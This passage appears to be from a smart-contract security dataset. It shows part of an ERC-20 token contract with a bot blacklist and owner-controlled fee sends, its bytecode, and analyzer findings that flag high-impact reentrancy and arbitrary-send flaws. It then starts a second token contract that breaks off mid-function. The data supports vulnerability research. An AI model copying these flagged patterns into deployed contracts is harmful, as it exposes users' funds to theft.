if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010c5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b411461033b578063a9059cbb14610366578063c3c8cd80146103a3578063d543dbeb146103ba578063dd62ed3e146103e357610113565b80636fc3eaec146102a557806370a08231146102bc578063715018a6146102f95780638da5cb5b1461031057610113565b806323b872dd116100dc57806323b872dd146101d4578063293230b814610211578063313ce567146102285780635932ead1146102535780636b9990531461027c57610113565b8062b8cf2a1461011857806306fdde0314610141578063095ea7b31461016c57806318160ddd146101a957610113565b3661011357005b600080fd5b34801561012457600080fd5b5061013f600480360381019061013a9190612a3d565b610420565b005b34801561014d57600080fd5b50610156610570565b6040516101639190612ede565b60405180910390f35b34801561017857600080fd5b50610193600480360381019061018e9190612a01565b6105ad565b6040516101a09190612ec3565b60405180910390f35b3480156101b557600080fd5b506101be6105cb565b6040516101cb9190613080565b60405180910390f35b3480156101e057600080fd5b506101fb60048036038101906101f691906129b2565b6105dc565b6040516102089190612ec3565b60405180910390f35b34801561021d57600080fd5b506102266106b5565b005b34801561023457600080fd5b5061023d610c12565b60405161024a91906130f5565b60405180910390f35b34801561025f57600080fd5b5061027a60048036038101906102759190612a7e565b610c1b565b005b34801561028857600080fd5b506102a3600480360381019061029e9190612924565b610ccd565b005b3480156102b157600080fd5b506102ba610dbd565b005b3480156102c857600080fd5b506102e360048036038101906102de9190612924565b610e2f565b6040516102f09190613080565b60405180910390f35b34801561030557600080fd5b5061030e610e80565b005b34801561031c57600080fd5b50610325610fd3565b6040516103329190612df5565b60405180910390f35b34801561034757600080fd5b50610350610ffc565b60405161035d9190612ede565b60405180910390f35b34801561037257600080fd5b5061038d60048036038101906103889190612a01565b611039565b60405161039a9190612ec3565b60405180910390f35b3480156103af57600080fd5b506103b8611057565b005b3480156103c657600080fd5b506103e160048036038101906103dc9190612ad0565b6110d1565b005b3480156103ef57600080fd5b5061040a60048036038101906104059190612976565b61121a565b6040516104179190613080565b60405180910390f35b6104286112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ac90612fe0565b60405180910390fd5b60005b815181101561056c576001600a6000848481518110610500577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061056490613396565b9150506104b8565b5050565b60606040518060400160405280600b81526020017f4c696c466c6f6b6943656f000000000000000000000000000000000000000000815250905090565b60006105c16105ba6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b60006105e9848484611474565b6106aa846105f56112a1565b6106a5856040518060600160405280602881526020016137b960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061065b6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b6106bd6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461074a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161074190612fe0565b60405180910390fd5b600f60149054906101000a900460ff161561079a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079190612f20565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061082a30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561087057600080fd5b505afa158015610884573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a8919061294d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561090a57600080fd5b505afa15801561091e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610942919061294d565b6040518363ffffffff1660e01b815260040161095f929190612e10565b602060405180830381600087803b15801561097957600080fd5b505af115801561098d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109b1919061294d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610a3a30610e2f565b600080610a45610fd3565b426040518863ffffffff1660e01b8152600401610a6796959493929190612e62565b6060604051808303818588803b158015610a8057600080fd5b505af1158015610a94573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ab99190612af9565b5050506001600f60166101000a81548160ff0219169083151502179055506000600f60176101000a81548160ff02191690831515021790555068056bc75e2d631000006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610bbc929190612e39565b602060405180830381600087803b158015610bd657600080fd5b505af1158015610bea573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c0e9190612aa7565b5050565b60006009905090565b610c236112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cb0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca790612fe0565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b610cd56112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5990612fe0565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dfe6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610e1e57600080fd5b6000479050610e2c81611c97565b50565b6000610e79600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b610e886112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f15576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0c90612fe0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600b81526020017f4c494c464c4f4b4943454f000000000000000000000000000000000000000000815250905090565b600061104d6110466112a1565b8484611474565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110986112a1565b73ffffffffffffffffffffffffffffffffffffffff16146110b857600080fd5b60006110c330610e2f565b90506110ce81611e00565b50565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fe0565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612fa0565b60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f9190613080565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613040565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f60565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190613080565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613020565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f00565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90613000565b60405180910390fd5b61159f610fd3565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610fd3565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613060565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b601e42611a7291906131b6565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610e2f565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612ede565b60405180910390fd5b5060008385611c8a9190613297565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f40565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa4919061294d565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a995949392919061309b565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b919061323d565b905082848261212a919061320c565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612fc0565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122ab565b806121e6576121e5612476565b5b50505050565b60008060006121f9612488565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612ede565b60405180910390fd5b506000838561226d919061320c565b9050809150509392505050565b600060085414801561228e57506000600954145b15612298576122a9565b600060088190555060006009819055505b565b6000806000806000806122bd876124ea565b95509550955095509550955061231b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fc816125fa565b61240684836126b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124639190613080565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea0000090506124be683635c9adc5dea0000060065461217590919063ffffffff16565b8210156124dd57600654683635c9adc5dea000009350935050506124e6565b81819350935050505b9091565b60008060008060008060008060006125078a6008546009546126f1565b92509250925060006125176121ec565b9050600080600061252a8e878787612787565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125ab91906131b6565b9050838110156125f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e790612f80565b60405180910390fd5b8091505092915050565b60006126046121ec565b9050600061261b82846120fa90919063ffffffff16565b905061266f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cc8260065461255290919063ffffffff16565b6006819055506126e78160075461259c90919063ffffffff16565b6007819055505050565b60008060008061271d606461270f888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b905060006127476064612739888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061277082612762858c61255290919063ffffffff16565b61255290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a085896120fa90919063ffffffff16565b905060006127b786896120fa90919063ffffffff16565b905060006127ce87896120fa90919063ffffffff16565b905060006127f7826127e9858761255290919063ffffffff16565b61255290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282361281e84613135565b613110565b9050808382526020820190508285602086028201111561284257600080fd5b60005b858110156128725781612858888261287c565b845260208401935060208301925050600181019050612845565b5050509392505050565b60008135905061288b81613773565b92915050565b6000815190506128a081613773565b92915050565b600082601f8301126128b757600080fd5b81356128c7848260208601612810565b91505092915050565b6000813590506128df8161378a565b92915050565b6000815190506128f48161378a565b92915050565b600081359050612909816137a1565b92915050565b60008151905061291e816137a1565b92915050565b60006020828403121561293657600080fd5b60006129448482850161287c565b91505092915050565b60006020828403121561295f57600080fd5b600061296d84828501612891565b91505092915050565b6000806040838503121561298957600080fd5b60006129978582860161287c565b92505060206129a88582860161287c565b9150509250929050565b6000806000606084860312156129c757600080fd5b60006129d58682870161287c565b93505060206129e68682870161287c565b92505060406129f7868287016128fa565b9150509250925092565b60008060408385031215612a1457600080fd5b6000612a228582860161287c565b9250506020612a33858286016128fa565b9150509250929050565b600060208284031215612a4f57600080fd5b600082013567ffffffffffffffff811115612a6957600080fd5b612a75848285016128a6565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016128d0565b91505092915050565b600060208284031215612ab957600080fd5b6000612ac7848285016128e5565b91505092915050565b600060208284031215612ae257600080fd5b6000612af0848285016128fa565b91505092915050565b600080600060608486031215612b0e57600080fd5b6000612b1c8682870161290f565b9350506020612b2d8682870161290f565b9250506040612b3e8682870161290f565b9150509250925092565b6000612b548383612b60565b60208301905092915050565b612b69816132cb565b82525050565b612b78816132cb565b82525050565b6000612b8982613171565b612b938185613194565b9350612b9e83613161565b8060005b83811015612bcf578151612bb68882612b48565b9750612bc183613187565b925050600181019050612ba2565b5085935050505092915050565b612be5816132dd565b82525050565b612bf481613320565b82525050565b6000612c058261317c565b612c0f81856131a5565b9350612c1f818560208601613332565b612c288161346c565b840191505092915050565b6000612c406023836131a5565b9150612c4b8261347d565b604082019050919050565b6000612c63601a836131a5565b9150612c6e826134cc565b602082019050919050565b6000612c86602a836131a5565b9150612c91826134f5565b604082019050919050565b6000612ca96022836131a5565b9150612cb482613544565b604082019050919050565b6000612ccc601b836131a5565b9150612cd782613593565b602082019050919050565b6000612cef601d836131a5565b9150612cfa826135bc565b602082019050919050565b6000612d126021836131a5565b9150612d1d826135e5565b604082019050919050565b6000612d356020836131a5565b9150612d4082613634565b602082019050919050565b6000612d586029836131a5565b9150612d638261365d565b604082019050919050565b6000612d7b6025836131a5565b9150612d86826136ac565b604082019050919050565b6000612d9e6024836131a5565b9150612da9826136fb565b604082019050919050565b6000612dc16011836131a5565b9150612dcc8261374a565b602082019050919050565b612de081613309565b82525050565b612def81613313565b82525050565b6000602082019050612e0a6000830184612b6f565b92915050565b6000604082019050612e256000830185612b6f565b612e326020830184612b6f565b9392505050565b6000604082019050612e4e6000830185612b6f565b612e5b6020830184612dd7565b9392505050565b600060c082019050612e776000830189612b6f565b612e846020830188612dd7565b612e916040830187612beb565b612e9e6060830186612beb565b612eab6080830185612b6f565b612eb860a0830184612dd7565b979650505050505050565b6000602082019050612ed86000830184612bdc565b92915050565b60006020820190508181036000830152612ef88184612bfa565b905092915050565b60006020820190508181036000830152612f1981612c33565b9050919050565b60006020820190508181036000830152612f3981612c56565b9050919050565b60006020820190508181036000830152612f5981612c79565b9050919050565b60006020820190508181036000830152612f7981612c9c565b9050919050565b60006020820190508181036000830152612f9981612cbf565b9050919050565b60006020820190508181036000830152612fb981612ce2565b9050919050565b60006020820190508181036000830152612fd981612d05565b9050919050565b60006020820190508181036000830152612ff981612d28565b9050919050565b6000602082019050818103600083015261301981612d4b565b9050919050565b6000602082019050818103600083015261303981612d6e565b9050919050565b6000602082019050818103600083015261305981612d91565b9050919050565b6000602082019050818103600083015261307981612db4565b9050919050565b60006020820190506130956000830184612dd7565b92915050565b600060a0820190506130b06000830188612dd7565b6130bd6020830187612beb565b81810360408301526130cf8186612b7e565b90506130de6060830185612b6f565b6130eb6080830184612dd7565b9695505050505050565b600060208201905061310a6000830184612de6565b92915050565b600061311a61312b565b90506131268282613365565b919050565b6000604051905090565b600067ffffffffffffffff8211156131505761314f61343d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c182613309565b91506131cc83613309565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613201576132006133df565b5b828201905092915050565b600061321782613309565b915061322283613309565b9250826132325761323161340e565b5b828204905092915050565b600061324882613309565b915061325383613309565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328c5761328b6133df565b5b828202905092915050565b60006132a282613309565b91506132ad83613309565b9250828210156132c0576132bf6133df565b5b828203905092915050565b60006132d6826132e9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332b82613309565b9050919050565b60005b83811015613350578082015181840152602081019050613335565b8381111561335f576000848401525b50505050565b61336e8261346c565b810181811067ffffffffffffffff8211171561338d5761338c61343d565b5b80604052505050565b60006133a182613309565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d4576133d36133df565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c72656164792073746172746564000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377c816132cb565b811461378757600080fd5b50565b613793816132dd565b811461379e57600080fd5b50565b6137aa81613309565b81146137b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205e99ed01803eddc85a041c877160f229f124aa59a4a2204124cd4c43fe572a0864736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 7,813 |
0xa06147d185e1b51987be62d7b622262d406a177f
|
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}pragma solidity ^0.4.18;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract GemsToken is Ownable{
using SafeMath for uint256;
mapping(address => uint256) public balances;
mapping (address => mapping (address => uint256)) internal allowed;
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
string public name = "Gems Of Power";
string public symbol = "GOP";
uint8 public decimals = 0;
uint256 public totalSupply = 200000000 * 10 ** uint(decimals);
address crowdsaleContract = address(0x0);
bool flag = false;
function GemsToken () public {
balances[this] = totalSupply;
}
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply;
}
/**
* @dev getdecimals
*/
function getdecimals() public view returns (uint8) {
return decimals;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[_to] = balances[_to].add(_value);
balances[msg.sender] = balances[msg.sender].sub(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
